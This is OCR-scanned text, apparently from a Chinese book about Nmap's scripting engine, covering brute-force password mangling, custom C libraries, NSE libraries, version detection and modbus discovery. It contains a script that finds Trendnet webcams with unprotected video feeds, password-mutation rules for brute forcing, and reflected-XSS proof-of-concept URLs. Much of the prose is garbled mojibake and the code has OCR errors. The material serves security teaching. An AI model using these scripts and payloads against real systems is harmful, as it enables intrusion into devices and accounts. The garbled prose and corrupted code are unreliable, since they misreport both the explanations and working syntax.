I FEA R, VRTT LA Gm 5 58 A 52 2% i KL R i e B Sk 52 2 ) 1 40

pw _mangling iterator = function( users, passwords, rule)
local function next credential ()
for user, pass in ITterators.account iterator (users, passwords, "pass") do
if rule == 'digits' or rule == 'all' then
-- SFER, FFNFHE, Lk 5F
local year = tonumber (os.date("3Y"))
coroutine.yield( user, pass..year )
coroutine.yield( user, pass..year+l )
for 1 = year, year-10, -1 do
coroutine.yield( user, pass..l )
end
-- M0 E oWEF
for i = 0, 9 do
coroutine.yield( user, pass..l )
end
-- A 00 % 99 M F
for 1i = 0, 9 do
for x = 0, 9 do
coroutine.yield( user, pass..i..x )

end
end

- FALWEFAS
coroutine.yield( user, pass.."123" )
coroutine.yield( user, pass.."1234" )
coroutine.yield( user, pass.."12345" )

end



£ 11E NSE FHENH « 167

1f rule == '"strings' or rule == 'all' then
-- BRANFHEE, AlARE. Ru. ##%., EAF
local leetify = {["a"] = '4",
[Hell] - '311
["ir] = '1',
[HO"] = I‘O'I}

local leetified pass = pass:gsub("%a", leetify)
coroutine.yield( user, leetified pass )

coroutine.yield( user, pass:upper() )
coroutine.yield( user, leetified pass:upper() )
coroutine.yield( user, pass:lower() )

coroutine.yield( user, pass:reverse() )

coroutine.yield( user, pass:sub(l,1l):upper()..pass:sub(2) )

coroutine.yield( user, leetified pass:sub(l,1) :upper()..leetified pass:sub(2) )
coroutine.yield( user, pass:rep(2) )

coroutine.yield( user, pass:rep(3) )

end
if rule == 'special' or rule == 'all' then
-— WNEHRFAG S, 4, !
coroutine.yield( user, pass..'$' )
coroutine.yield( user, pass..'#' )
coroutine.yield( user, pass..'!' )
coroutine.yield( user, pass..'.' )
coroutine.yield( user, pass..'@' )
end
end
while true do coroutine.yield(nil, nil) end
end
return coroutine.wrap( next credential )
end
I TFEAE brate 52 A NER IS 3 BRECH B IM— S A S 80Kk € X brute FIREI]
local mangling rules = stdNSE.get script args("brute.mangling-rule") or "all"

TEXAFrp, [RIEERGZEI—A elseif 43 32 iH7], U F)| pass-mangling 1 S0}k
HRLRE BT RN

elself( mode and mode == 'pass' ) then

self.iterator = self.iterator or Iterators.pw user iterator( usernames,
passwords )

elseif ( mode and mode == 'pass-mangling' ) then

self.iterator = self.iterator or Iterators.pw mangling iterator( usernames,
passwords,

mangling rules )
elseif ( mode ) then
return false, ("Unsupported mode: %s"):format (mode)

X e — A LA R AUAR R KRMEA 50 Z2 AT A T brute lua FESCHF, T8 il ixX A%
AR PR L e PITRCR . 35, XA B nl 7 B O A2 25 18 Uhs B R A
HRE
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11.3 il C/C++ 4i'5 ) NSE Eidh

X F— L SR C A1 C++ FRIF Gk, NSE W2+ A4 H . NSE H 1R 28
R C/C+ HEATIT R . WIXEEEF MRS T NSE RHERE.

THEM CIESRME — R F.0 NSE FE, DMERBX IR, 7EXFF 1 C B
e RS TN, XS TR R —&EE .

BRI S, £ NSE 3G — -l AR C BRAZERINT .

B 1 B SUEIE S E] Nmap AR HRT .

HBR 2: [A] makefile.in SCHFARERANTRSCAR . SKSCAFRIRT G S0

B 3: 7£ NSE.main.cc U 0T PE U #E A TE AR AE .

B, A A E AL SCHFMIESCH . B CiET PRI ELARTEI L—1 NSE BIF4F
BB, Il Ungr X test BLE A 24 & NSE _test.cc A1 NSE _testh, #RJ57E NSE_test.cc H4 AU T
AR

extern "C" {

finclude "lauxlib.h"

#include "lua.h"

}

#include "NSE test.h"

static int hello world(lua State *L) {
printf ("Hello World From a C library\n");
return 1;

}

static const struct lual Reg testlib[] = {
{"hello", hello world},

{NULL, NULL}

}i

LuaLIB API int luaopen test(lua State *L) ({
lual newlib (L, testlib);

return 1;

)
RIFHE AT R N ESINE] NSE_test.h 23X

#ifndef TESTLIB

fdefine TESTLIB

tdefine TESTLIBNAME "test™

LuaLIB API int luaopen test(lua State *L);
#fendif

£ NSE_main.cc X A0 T 2P BRI T
B 1 TSR G & SRR 2k

#include <NSE test.h>

S 2. 5 set Nmap libraries(lua_State *L) pREL, SR/ H#T libs 288, DMEALEHTE
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static const lual Reg libs[] = {
{NSE_PCRELIBNAME, luaopen_ pcrelib},
{NSE NMAPLIBNAME, luaopen Nmap},
{NSE_BINLIBNAME, luaopen _binlib},
{BITLIBNAME, luaopen bit},
{TESTLIBNAME, luaopen test},
{LFSLIBNAME, luaopen_ lfs},
{LPEGLIBNAME, luaopen lpeg},

#ifdef HAVE OPENSSL
{OPENSSLLIBNAME, luaopen openssl},

fendif

{NULL, NULL}

b

#B 3: ¥75H NSE SRC. NSE HDRS. NSE OBIJS #Hn%| Makefile.in H1,

NSE SRC=NSE main.cc NSE utility.cc NSE nsock.cc NSE dnet.cc NSE fs.cc NSE

Nmaplib.cc

NSE debug.cc NSE pcrelib.cc NSE binlib.cc NSE bit.cc NSE test.cc NSE lpeg.cc

K
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NSE HDRS=NSE main.h NSE utility.h NSE nsock.h NSE dnet.h NSE fs.h NSE Nmaplib.h
NSE debug.h NSE pcrelib.h NSE binlib.h NSE bit.h NSE test.h NSE lpeg.h
NSE OBJS=NSE main.o NSE utility.o NSE nsock.o NSE dnet.o NSE fs.o NSE Nmaplib.o
NSE debug.o NSE pcrelib.o NSE binlib.o NSE bit.o NSE test.o NSE lpeg.o

H B4 . 1F scripts X3 tp A1 8 —~ 2% & myLibraryTest. NSE £ 3¢, @RninE 11-14

KINZE

 CmyLibraryTestlua

1
2
3
4
5
B

3

9
10

local shortport = require “shortport”
description = [[]]
author = "Administrator”

license = "Same as Nmap——See http://mmap. org/book/man-legal. html”
categories = {"default”}

portrule = function( host, port )
return true

end

action = function(host, port)

local c = test.hello()

end

Kl 11-14 myLibraryTest.NSE f{i4s
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IS PUTXAIA

Nmap -p80 --script NSE-test 211.81.200.8

Starting Nmap 7.3 SVN ( http://Nmap.org ) at 2016-08-13 23:41 CST
Hello World From a C library

Nmap scan report for 211.81.200.8

Host is up (0.12s latency).

PORT STATE SERVICE

80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds

XM F, EEAPITZ G, FRm bkt 7 “Hello World From a C library ” o
UNRAR S — 222 2 T C BAE NSE AN, AT LATEIR] Nmap F1 lua BE 77 3CHS .

http://www.lua.org/manual/5.2/manual.html#4
http://Nmap.org/book/NSE-library.html

11.4 % WY NSE & X

NSE P FREZIE, ARTREXS— Lt i WRYPESEAT R 221, JUHIER T4 i B Y 1
HE T AR E

11.4.1 shortport

XA PEBCTT Y E AR B ST port BRI, & Sxilcide B DL AG s 1RO A 15 8L
AJ DURSAA b A8AXA E 0 BC AR DL A g 1R

local shortport = require "shortport"
portrule = shortport.http

% B 75 2 A 2] shortport B30, DIAEHGE 58 A6 portrule #Y %€

1. IR ARITORE

BE, XA RLZIE HAR EHLE R R daytime iR55
HK, WA Bk s, sl A~

Befo, BEXABIEATED K

2. REHARRIXEERD

T BRI i R B R 2 S AT AS 1) S SR R

B t4’5 execution rule #P47

H T XA A 2l % H AR F 00w B AR &5 R g 2ln, Rtk X BaEH—12 0
shortport Y E3CH, i FH B B SFAb 9 A2 ) LABR SR [B1 45 5, JoZu i (&) 46 ) jR 44 A 5 o i AR A
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19 F—FF 24 5 A WriEa)

shortport FHEfiL | port or service(ports, services, protos, states) ik, HH 4 NS504705
AT .

Q ports: — P ELHZ MR H S,

Q services: — P EE ZMMRSTHIZA R

Q protos: —aE ZNICHECAYTML, BRIMEA “tep” s

Q states: — P EUE Z N ILECHPRES , BUIAMEA {"open", "openlfiltered"} .

XA EAEEN N O HM SR Z G, RN R SEP AL ports, services, & [FI{H
$EON true, XFRAY IR, W LY AR 55— AR B 1T AE TS v B, {HA B H prpy
Al e — Lo IR S5 B RS 2| o 11 |, DR R D i91E, RIRES IS TR

gan, 4 EFR RS SSH IS, SEnT LA IR ards.

portrule = shortport.port or service(22,"ssh").
ARG, AR EAE 13 w0, 50E “daytime” 55, HAHAMSUT.

portrule = shortport.port or service(l3, "daytime", {"tcp", "udp"})

XA T &a— 1223, HI states {1 7 3IAH.

HF XN EARENE, KNI 4% S return 1574]

HIRGE action #4771

T2 5 Bir TV O ESE 5, IFIBUE BARnetE] . X BLF A 3 5 — AN
comm, XFERIDIEEEEITEAEAS T, 7 I comm X~ FEH A exchange J7 RS0 EE
BIE L% BB RS D@ &R, RERIE, WRARLN, #Elcxe
W

exchange (host, port, data, opts) FHI & 4 S8, AN HUWT,

Q host: ZERH HARFHL,

Q port: HAr EHLAYFE Eui H o

Q data: FHIRE L EKEIE

Q opts: FHE MGERPAY—LLYTy, ARl %,

opts 5 WAEA W F P,

Q bytes: BFEHXAH/NF T AL

Q lines: BEEHAH/MTEL,

XA PR 1R [FMEA P

Q status (true 5L false).

Q % (S status AIME A true) Z0 error AAFE (AN status AI{EH false)
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X B fH comm.exchange 77k M HARTEALZE —D “dummy” FAFEH, 20T,

local status, result = comm.exchange (host, port, "dummy", {lines=1})

W2k Hhr it B3R AL daytime R4S, BLESR IR GERYMTTE], Nmap 7E U G 2% HAR
FAE result H1,

e iR 9] result AMERE AT LA T 5

return result

Bl 11-15 2515 T shortport 52 2t AT .

local comm = require “comm”

local shortport = require “shortport”

description = [[

s N = W B =

Retrieves the day and time from the Daytime service.

1]

-]

ca

Y —
10 — @putput

11 — PORT STATE SERVICE

12 — 13/tcp open daytime

13 — | _daytime: Wed Mar 31 14:48:58 MDT 2010

14

15 author = "Diman Todorov”

16

17 license = “Same as Nmap——See https://nmap. org/book/man-legal. html”
18

19 |categories = { discovery , "safe’}

20

21

22 portrule = shortport.port or_servicel(l3, “daytime”, { tcp”, “udp })
23

24 action = function(host, port)

25 local status, result = comm. exchange (host, port, “dummy”, {lines=1})
26

27 1f status then

28 return result

29 end

30 end

& 11-15  shortport {if F 75 G4 GHS
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11.4.2 http

PTE Nmap £ 28R —AN5% KA J1H9 Web Il TR, @il hitp B 58 BUFT A X HTTP
FHRB L 2R ERE . XANFERESH, MHEARIAFX raw header #E1T#AE, W 3FF HTTP 89
pipelining #:1E .

X ™ FE P 4 75 http.head(). http.get() F1 http.post() 55 p& 5L, X L& p& 6 B, HTTP 1 /)
head. get # post k.

A LME AT Fr MR S8 —A4> HTTP i get Jrik.

local respo = http.get (host, port, uri)

BRAEFF http 2 SCHER T B —A o] BRAE AR 25 5 (5 P B #0080 A s T 1) P S 0 DA

LA W 5 A f A AT B — R 2R ER . RSB MFBEAR LR 1Bk, &
e 388 ok HL IR ) R ST A W A X e i P AR B — T . B R, AR P W i BT A B OF
AE5EE, XL R BT —LeRHE A0 BT RAfE AR B B T3 Bl o s B A Sk ok ) W X
SE b A5

X B L) Trendnet F— 3K TV-IP110W 7= 5 A6l 23X 30 mm 7SI, H5 E 5 A= 1%
251 1P Hbht + /anony/mjpg.cgic JCAEMTIAUERI AT SERLTT ], 5L b, BEAENIE, JRA
TR Z 7= a3 2k X R 2o

1 PRGNS —> NSE JAAS DAE RG] X 2152 48

1. AR RS

AplF, XA AR S IO EE

BE, XM HE .

HWK, WEAMNEE, &F2EA ] LIJCAUAUERL A] LI R F) anony/mjpg.cgi.
BJE, GORFRE] T X R oL AR Ko Y

2. SCIRITRIBI AR
T EARSE XA A BT
i BT N g B ) HARE) Web fIiR55, Bt LU Z4E HIAN http AHSCH)JE

local http = require "http"
local shortport = reguire "shortport"
local stdNSE = require "stdNSE"

4 X execution rule #5475
X — ARk shortport, {HSZ{#i FH shortport FF &[] AL PR http BOFT 71, XAk
1 24 7~ M| -1, 72 httpo

http (host, port)
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http Jr BT IS5

Q host: HirFEHL.

Q port: HpvmH,

http 77 R Bl — N R BURME, W2R B AR 0 Lizd73E HTTP kg5, REHEN true, &
WAy false, BIEH:— portrule, M2 UIT .

portrule = shortport.http

HIR %5 BIAS A action #8753, X R A i R BB B —FB 55

action = function (host, port)

FEXCEARP T, m2T,

local uri = "/anony/mjpg.cgi"

SR HIWr s T AT B O, an2R HARDUTE T DUE H R TG, IRFSAFSSH—1 “200:
OK” WME; W HART AL IEF ViR A, @RS A% H—1 “404: file not found”
gE R, 1K B AT DA A I A S B SE BT B AR DT T2 15 AT AT IR) 47 W

XA T http FEH A —> head 5k, XA AL BinHihk 22X —5K, R)E

& [\ B AR & BB HR 0 —2FE . XANTEMHIT 4 N34,

Q host: HinFHL.

Q port: HArumgH

Q path: A& J5[0] 5 5T E Lk

Q options: [ A[EHT ], — %K,

TS (|l N o

local resp = http.head(host, port, uri)

PAT R R EME N — 1R, XTRPEEF TIRZEE, O EYE L1 status, header,
th%%,E¢mmm%HHﬂT%ﬁﬁﬁ,w%ﬁﬁﬁ@E%%ﬁ,ﬁAﬁMﬁﬂm;%
RAEVT R A B T IR, XA nil,

Kt W2 A e s, ] USE A A0 R i) .

if resp.status and resp.status == 200

WRXAME A E, 1R [FEX AT o

return string.format ("Trendnet TV-IP110W wvideo feed is unprotected:http:
//%s/anony/mjpg.cgi", host.ip)

X B A SE AR A A 11-16 BTN
) FIX AN AT 192.168.153.0/24 XA bk Bl AT/, 2 B B EAE X
AL, R Zs SR 11-17 s



% 11E NSE FRIEHE K 175

description = [[

Attempts to detect webcams Trendnet TV-IP110W wulnersble

to unauthenticated access to the video stream by querying

the URI “/anony/mjpg.cgi”.

Original advisory: http://consolecowboys. blogspot. com/2012/01/trendnet—cameras—-i-alwaysfeel-like. html
1]

categories = {"exploit”, "vuln”}

local http = require "htip”

o =1 v W e W ORI =

local shortport = require "shortport”

—
[=]

local stdnse = require "stdnse”
portrule = shortport. http

action = function(host, port)

—_ s
L7 I e

local uri = "/anony/mjpg. cgl”
local _, status_404, resp_404 = http. identify_404 (host, port)
1if status_404 == 200 then

stdnse. print_debug(1,

i e
=1 o 0 e

“%s: Web server returns ambiguous response. [rendnet webcams return standard 404 status responses. Exiting.”
» SCRIPT_NAME)
return

— =
L= v

end

B B
=

stdnse. print_debug (1,
“%s: HTTP HEAD %s", SCRIPT NAME, uri)
local resp = http. head(host, port, uri)

[ T ]
e LI BI

if resp.status and resp.status == 200 then

(o]
[£1]

return string. format (
“"Trendnet TV-IP110W video feed is unprotected:http://%s/anony/mjpe. cgi”
, host.ip)

o I |
=1 m

end

o]
o

29 end

& 11-16  http A= A B4 TS
= Zenmap LEIEM\

HiEE THROD REER) JEBIH
Btx |192.168.153.0/24 v EE . |EI§ET‘ —

8= nmap -p 80 --script http-trendnet-tvip110w 192.163.153.0}24

IEEHL || = Nmap®s 0/ | hi | SHEE | 58
ez « - . | nmap -p 80 --script http-trendnet-tvip110w 192.168.153.0/24 -

L 4
*

Starting Nmap 7.3@ ( https://nmap.org ) at 2016-11-04 17:17 ?D1i+&x2E+2? P
Nmap scan report for bogon (192.168.153.130) ]
Host is up (@.88s latency).
PORT STATE SERVICE

— |_http-trendnet-tvipll®w: Trendnet TV-IP1lleW video feed is

m

unprotected:http://192.168.153.138/anony/mjpg.cgi

wd ® » ¥ w i " = =2

Nmap scan report for bogon (192.168.153.254)
Host is up (@.88s latency).
PORT STATE SERVICE -
B80/tcp filtered http
- YAC Address: ©0:50:56:FB:4C:D2 (VMuware)

I T T T T ® T E

Mmap scan report for bogon (192.168.153.1)
mﬂ l HAac+ ¢ om (G GhGe Tatameoh

T T % P T La T T

B 11-17 f A http-trendnet-tvip1 10w J5 A£G 25 5
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MR Fal LB H, METRIZd 192.168.153.130 EHL FEFEXRER IR . 252
MR Z B R G MR AXEN TR, REERMMEsh— FiXA A, gin] DI HAb 287 1
Wiy R G e

11.4.3 stdNSE

stdNSE & FF 45 1 NSE JF & Hh 4 Fa R TRE, W RSER ., JFk . frth 745§ 4k
PSR A PR o

1. stdNSE.get_script_args BRZY
MWHE Nmap $hATi #E P, HHH stdNSE.get script args PRI 51 1 1% 11 --script-args K&
B

local threads = stdNSE.get script args(SCRIPT NAME..".threads") or 3

2. stdNSE.debug B
stdNSE.debug PRZH K i — A E B

stdNSE.debug2 ("This is a debug message shown for debugging level 2 or higher")

3. stdNSE.verbose &%
stdNSE.verbose RZUKS X AbHn HH— NG5 B .

stdNSE.verbosel ("not running for lack of privileges.")

4. stdNSE.strjoin ER#g
stdNSE.strjoin PRZUR 5 & FATRE AT BB ZE K

local output = stdNSE.strjoin("\n", output lines)

5. stdNSE.strsplit B
stdNSE.strsplit PRZUEE FH 43 B K 53 H— 47 H

local headers = stdNSE.strsplit("\r\n", headers)

F%F stdNSE JERITEANIN 25 1] LIAF https://Nmap.org/NSEdoc/lib/stdNSE.html.

11.4.4 OpenSSL

X2 — N HRGE E B OpenSSL £ 11, FEARATING, B2 ] HEBEET Nmap
YRS 73k, BT LGESE peall() AOF B SR AR XA W] LU

if not pcall (require, "openssl") then
action = function (host, port)
stdNSE.print debug(2, "Skipping \"%s\" because OpenSSL is missing.", id)
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end
end
action = action or function (host, port)

end

11.4.5 target

AR ML HBE, XA R F 2 H BB M0 K H AR 33 BAS . NSE AR5
prerule, hostrule. portrule FW| & ] 24 /i A9 9 BA S FP &S g 09 B s WRIAERS —
discovery ZEAY A, XA~ FEEAR A R .

75 [ BAF g in B AR, AT LA target.add pRER

local status, err = target.add("192.168.1.1","192.168.1.2",...)

11.4.6 creds

XA FE AR A FE SR AT I AR LA B SR IR, X SR IE ISR AEEM R T, FHE
Wit T — AR E T R SRR R,

N RARRE X A8 R ARIE R I B HE e, R A — creds X4, H T H add
PRI .

local ¢ = creds.Credentials:new( SCRIPT NAME, host, port )
c:add ("packtpub", "secret", creds.State.VALID )

11.4.7 vluns

XA E AR AP T EALR 2 2 inil 75 H HI(E B o BRI LAY NSE B & B AR &
GBI AT BT S TR Be s o MBS 145 T — s BB

PORT STATE SERVICE REASON

80/tcp open http syn—ack
http-phpself-xss:

VULNERABLE :

Unsafe use of $ SERVER["PHP SELF"] in PHP files

State: VULNERABLE (Exploitable)

Description:

PHP files are not handling safely the variable $ SERVER["PHP SELF"] causing Reflected
Cross Site Scripting vulnerabilities.

Extra information:

Vulnerable files with proof of concept:
http://calderOn.com/sillyapp/three.php/%27%22/%3E%3Cscript%3Ealert (1) %3C/script%3E
http://calderOn.com/sillyapp/secret/2.php/%27%22/%3E%3Cscript%3Ealert (1) %3C/script%3E
http://calderOn.com/sillyapp/l.php/%27%22/%3E%3Cscript%3Ealert (1) $3C/script%3E
http://calderOn.com/sillyapp/secret/1l.php/%27%22/%3E%3Cscript%3Ealert (1) %$3C/script%3E
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Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=calderOn.com

References:
https://www.owasp.org/index.php/Cross-site Scripting (XSS)
http://php.net/manual/en/reserved.variables.server.php

M

FE3X— 350, %3] T NSE HFRESCHFINAE , 7E4 S LB 4R 1L C 1 Lua 3 5 XX
VRS THRS , AR T NSE RSO LR, S0 T PSR EAT T
SIS o TE R — B PR P s D AR SR B 25 R 21 .



CHAPTER

e 12
XIARSS RIMINEEH T TIE R

NSE fSLVFRT A WINRESEA Tt . B anal LA HISRAT#E X4l B AR Ao M8 SUT 55 ok 42
A B AARGR KA IR S5 A B IIfE. ST AR s A, & TR B BT A
A =T, WL, A RIE — AR S R TR0 7o, WAL A [H i
75 IF AN BBk 2 R AR

AT, RE2I 41 NSE WA Rl i) F A R B LA S andef 9w 5 B %€ CHY NSE JAIAS . Sglel
B — "I A A B AS R DL B AL PR AT RN o A I, 2 B — 28 Tk PR Y il
%, XIER K M BUR L2, Wn] LIFE Nmap #E X P43 A Crds S 18T B RiUAS
R A

12.1 NSE pilik 55 & LA

£ Nmap "F{EH] -sV 1] LUR Sh k55 BB, X Emnl PARAS H AR R 48 EIEAE21TRIR
F5 WAME o WIRAE Nmap B PAT B T -sV @31, IPA TG RF ML %ok

] version %1/,

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 5.3pl Debian 3ubuntu’7 (Ubuntu Linux; protocol
2.0)

25/tcp filtered smtp

80/tcp open http Apache httpd 2.2.14 ((Ubuntu))

9929/tcp open nping-echo Nping echo
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Service Info: 0S: Linux; CPE: cpe:/o:linux:linux kernel

Service detection performed. Please report any incorrect results at http://
Nmap.org/submit/.

Nmap done: 1 IP address (1 host up) scanned in 16.63 seconds

X LR [ A5 BARTE HARBIA RN, (EEXTTFBERERU, FIHX LS S AT LA )
L2 B RAEA I o R F— D ZE R U, X EE BT UL B4 A5 %%
WHVZEAL . XL E B2 T HAR R GEARE R PR 5515 B

S A AN BiE )] RS s B AR IR 95 5 AR

Nmap -sV www.tstc.edu.cn

12.1.1 RSB AIAIIFE

— R RS A BRI T AP ER

T B IR Hbnwm 0 BEPR S A2 opened, #E4 & 3K —~ NULL 28 &I 9 R 51 2] 35X 4 Ui
O, XFPER AR EIE— T T EZENTER, )5 Nmap 5578 H Avm H 1R 5 # [=]
N FENREN[E N Zf5, Nmap 23X [0 FIEHE 2 i £ Fh e 8O 517 L, 7 —4
softmatch %7 hardmatch, WISRUCHLZEH R softmatch, Nmap 2 &L FSMIIRES .

IR 2: WX NULL #REF B e 2t HAr iy ik 5515 8, TRFF7E Nmap-service-
probes XA HH TCP 1 UDP KABRE SR E R Hir . XA 5 NULL #8£F A94R I i
AL, FAARFENBEX MR MRS ES, HPEa 7T -BFAFRERN
o IEANZ T UERY, X SRR ET = AR Y 0] 2 A EE 1 v Y 2 R 48 SO 31T A

TR 3 WRXPNPrEEBEA GRS R, Nmap Bl AR FFARRINHEE, X
Zattidl, RERDRIERRE BOECED, DhEE G0 Y 2815 BT KB 712K

T4 . KEHEFSRN BiR ERGiETT SSL RS . AR B RS, MRS
WrosEmE, SRR XA k5 .

B, S: KX —FRINFERE AN B RS H 12T RPC BIARS .

B 6 . WRIRE AN EI N R TCEIRS A, Nmap REARPEXA [B R4 — A48 8004,
SRIGHEAC ] Nmap BT A& H0, DAYE R 20 Rl Al 55 (R RE T

12.1.2  BEMRATEANRA

K3k B RN IR 55 IR ET ) BCRE BUR T E T 17E Nmapservice-probes SCAFH & X, WA LA
{ifi 1244 --version-intensity [0-9] SR A AR EE, g2 B iR A E .

Nmap -sV —--version-intensity 9 <target>

XAFMA R, BOREE, HREERVNERHEEZ ., BOANEMRER 7. 5
At a] DAl SCAS G IE X, B30 --version-light 1 --version-all, --version-light X Ji f 471 4 55t
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E w2, --version-all 358 E 2 9.

12.1.3 EFTRAOUIRET SRR

AT WA AT W0 B BT s FH B 2R £ 230408 %2 47-fi%i 7 Nmap-service-probes A4 A, X400
A —EHAERREEE R . [RRE, R LR BT Y ik 5548 8O 38 45 Nmap.

Nmap-service-probes U 125 TN REHMAIT AL . A LUE T B BGX 304
HeSEHL, UK S T HEBRTE RS B2 b, 03 NULL $5 1A timeout (5, ¥ 45 ti 9
Fe XS R — B N

# The Exclude directive takes a comma separated list of ports.

# The format is exactly the same as the -p switch.

Exclude T:9100-9107

# This is the NULL probe that just compares any banners given to us

FHE#HAF A A S A A FH A S AL HHAHNEXT PROBE####$# A4 HH44H A4 HSHHSSHHHEHE

Probe TCP NULL g |

# Wait for at least 5 seconds for data. Otherwise an Nmap default is used.

totalwaitms 5000

# Windows 2003

match ftp m/"220[ -]Microsoft FTP Service\r\n/ p/Microsoft ftpd/

match ftp m/"*220 ProFTPD (\d\S+) Server/ p/ProFTPD/ v/$1/

softmatch ftp m/"220 [-.\w ]J+ftp.*\r\n§/1i

match ident m|”*flock\ (\) on closed filehandle .*midentd| p/midentd/ i/broken/

match imap m|“\* OK Welcome to Binc IMAP v (\d[-.\w]+)| p/Binc IMAPd/ v$1l/

softmatch imap m/*\* OK [-.\w ]+imap[-.\w ]1+\r\n$/1i

match lucent-fwadm m|”0001;25| p/Lucent Secure Management Server/

match meetingmaker m/"\xcl,$/ p/Meeting Maker calendaring/

# lopster 1.2.0.1 on Linux 1.1

match napster m|"1$5| p/Lopster Napster P2P client/

Probe UDP Help glhelp\r\n\r\n|

rarity 3

ports 7,13,37

match chargen m|@ABCDEFGHIJKLMNOPQRSTUVWXY?Z |

match echo m|~help\r\n\r\n$|

12.1.4 M AtaNFHERIEE iR

Nmap 7EZRIA B0 F AR 251 M 9100 3] 9107 3XFB4> TCP i 11 5 326 R AS K6 i i) #4t o
X A2 PR A ak $6 1 |3l Faa T B AR R — Lo TENALAY IR 55, X sbum B RE 2 5, #ie
R (8] K ) dsr 3 SO an SR AEDRE H At %) IR 45 o DV s kS, W] LA FH Exclude 44 80 2]

Nmap-service-probes H1 .

B 41 A --allports it A FHAT4a8E0t, LR EFRZ LM A % 2t /74,
& 221% ) exclude #f R 8935 2 5 R ARG T E A,
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12.1.5 post-processors &1
post-processors = B FH >k 58 AR X 45 58 Ak 45 A il 22 J5 5 il 95 1Y o X LA ) post-

Processors,

1. NSE

NSE HIRI TR I8 skl ik 55, LA e AR IE N 3k =K R G RO FR . B 50 508 B HLAN
Vi 11 ZHE 4% 158 25 A V. ) NSE piUAS JRIAS

2. SSL

SSL 3R iEF71E SSL _El, B — NS <hh, Xk Nmap #ir] DASEPR
X SMTP. HTTP. FTP Ll J—86i2474E SSL A A WML EATREI . 3X 4> post-processors &
i 22 45 HH Y OpenSSL.

12.2  H 3 AR I A A

TS LR, 7524 A Nmap $&4E 89 APT 2 52 50 FT 32 A B i 11 850808 122 ) B0 A2 e
R T EBRA R AR RS, T2 50 B PR

IR 1 BHEAA) 5325 FE N version,

W 2: w5 XN portrule,

8 3: KW ALEh LS 45 B o T RRAS o

12.2.1 BRIAERSZEE N /3 version &
X B E— BTN, A HE 2 BT .

category = {"version"}
category FYZSAYE— @AY Lua 22, KL, WRFEEREAE A0, X2
TR 2y SEEREY o

12.2.2 TEXMAFENEIZH portrule

2 TR E N BIRR S € X—> portrule.
X L pRE A BT SGX K portrule

shortport.portnumber (port, protos, states)
shortport.version port or service(ports, services, protos, states)
shortport.port or service(ports, services, protos, states)
shortport.service (services, protos, states)
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X B pRE 44 PR AFAE shortport T, W SRARAEJANAS rpA0 & XA B SC, W1 LAV A require
5IAXAFE

local "shortport" = require "shortport"

@, MRABERRMETE 522 im0 _FBEfTREERE A open B filtered i) TCP iR 55
a7 UDP ilR55, FA1AT LA shortport H1#% pR%X version_port_or service().

portrule = shortport.version port or service({52}, nil, {"tcp","udp"},
{ "r:rpen" , "Opeﬂ | filtered" } }

12.2.3 BEinmORSHRAER

PAT 5SS ZJa v AR B TEANMER ) 5515 B o T RET 2k MIIX SEf5 0., I 55T H bp i
HEPRESFRARNER . AT EHFXEEE, T2 A Nmap £ API sKi%L.

Nmap.set port version(host, port, confidence)

BYE, 7IALFTER Nmap FE.

local Nmap = require "Nmap"

HIYKR, {6 FH %L set_port version() 2K 557 version FI| #9410 1550

J name

A product

Q version

A extrainfo

 hostname

1 ostype

A devicetype

1 service tunnel

4 cpe

Bfa, WEXTNRILELZ 5], confidence B4y i T NSE A KM 4 115 8 Al {5 B,
AT RERYMELANT

 hardmatched

A softmatched

 nomatch

 tcpwrapped

A incomplete

ERIAAIME 2 hardmatched, XMEEWE FHIZE R PR F R 100%,
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12.3 IR 55 J BRAHUAS i 5 B
P 34— R R Y NSE RS B UIA, LUBABMA L

12.3.1 modbus-discover

X & — > F| F modbus 5 B 2k 3K B % & 15 B 19 I 4. modbus & — /> #£ Supervisory
Control And Data Acquisition ( SCADA) REGEH H WL THhil, XNHARSWEBIR RS W
Slave IDs (SID) DA HAMRIRAFE . BEABRANSTNT .

action = function (host, port)
-— If false, stop after first sid.
local aggressive = stdNSE.get script args('modbus-discover.aggressive')

local opts = {timeout=2000}
local results = {}

for sid = 1, 246 do
stdNSE.print debug (3, "Sending command with sid = %d", sid)
local rsid = form rsid(sid, Ox11, "")

local status, result = comm.exchange (host, port, rsid, opts)
if ( status and (#result >= 8) ) then
local ret code = string.byte(result, 8)

if ( ret code == (0x1ll) or ret code == (0x1l1l + 128) ) then
local sid table = ({}
if ret code == (0x11) then

table.iNSErt (results, ("Positive respoNSE for sid = 0x%x"):format (sid))
local slave id = extract slave id(result)

if ( slave id ~= nil ) then table.iNSErt(sid table, "SLAVE ID DATA:
"..slave id) end

elseif ret code == (0x11] + 128) then

local exception_code = string.byte(result, 9)

local exception string = modbus exception codes[exception code]

if ( exception string == nil ) then exception string = "UNKNOWN
EXCEPTION" end

table.iNSErt (results, ("Positive error respoNSE for sid = 0x%x

($s) ") : format (sid, exception string))

end

local device table = discover device id(host, port, sid)

if ( #device table > 0 ) then

table.iNSErt(sid table, form device id string(device table))

end

if ( #sid table > 0 ) then

table.iNSErt (results, sid table)

end

if ( not aggressive ) then break end



F£12F MRSEUIIERITIEE « 185

end

end

end

1if ( #results > 0 ) then
port.state = "open"
port.version.name = "modbus"

nmap.set port version(host, port)
end

return stdNSE.format output (true, results)

end

MITH LHMMAZ S, FH—IREDNBEX A 52
categories = {"discovery", "intrusive"}

2 TR LA 2P AT AL o

portrule = shortport.portnumber (502, "tcp")

XA A IFA)E T version 2651, {HZ@E o XAH1F, 0] LIE BEAe] AT o] DL i
Nmap API R 5 5w H ARG B o XA R, 55 TR SR HAFH Nmap.
set_port_version() RRECE #1 Hbr I BPIR SRR BIE B o

if ( #results > 0 ) then
port.state = "open"
port.version.name = "modbus"
Nmap.set port version(host, port)

end
XA PATRIEE RN PR
PORT STATE SERVICE

502/tcp open modbus

| modbus-discover:

| Positive respoNSE for sid = 0x64

| SLAVE ID DATA: \xFA\xFFPM71l0PowerMeter

| DEVICE IDENTIFICATION: Schneider Electric PM710 v03.110

| Positive error respoNSE for sid = 0x96 (GATEWAY TARGET DEVICE FAILED TO RESPONSE)

12.3.2 ventrilo-info

il A ventrilo-info 72 FH R AKx Il X4 Aif EL AT HY Ventrilo 15 & 3 W AR 55 4%, FFERBCA FH Y
BER, BNEAERSE RS, XI& Nmap ' HH7A— A UA K AR

FTFF XA A PRRS, 7] LA A BB A TR0

portrule = shortport.version port or service({3784}, "ventrilo", {"tcp", "udp"})

